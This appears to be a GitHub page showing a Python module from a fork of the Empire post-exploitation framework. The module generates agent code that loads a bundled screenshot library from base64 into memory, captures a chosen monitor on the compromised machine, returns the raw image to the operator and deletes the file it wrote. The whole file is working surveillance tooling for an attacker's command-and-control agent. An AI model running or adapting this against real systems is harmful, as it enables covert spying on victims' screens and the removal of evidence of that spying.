forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 574
/
native_screenshot_mss.py
43 lines (38 loc) · 1.1 KB
/
native_screenshot_mss.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> tuple[str | None, str | None]:
path = main_menu.installPath + "/data/misc/python_modules/mss.zip"
with open(path, "rb") as open_file:
module_data = open_file.read()
module_data = base64.b64encode(module_data)
return """
import os
import base64
data = "{}"
def run(data):
rawmodule = base64.b64decode(data)
zf = zipfile.ZipFile(io.BytesIO(rawmodule), "r")
if "mss" not in moduleRepo.keys():
moduleRepo["mss"] = zf
install_hook("mss")
from mss import mss
m = mss()
file = m.shot(mon={},output='{}')
raw = open(file, 'rb').read()
run_command('rm -f %s' % (file))
print(raw)
run(data)
""".format(
module_data,
params["Monitor"],
params["SavePath"],
)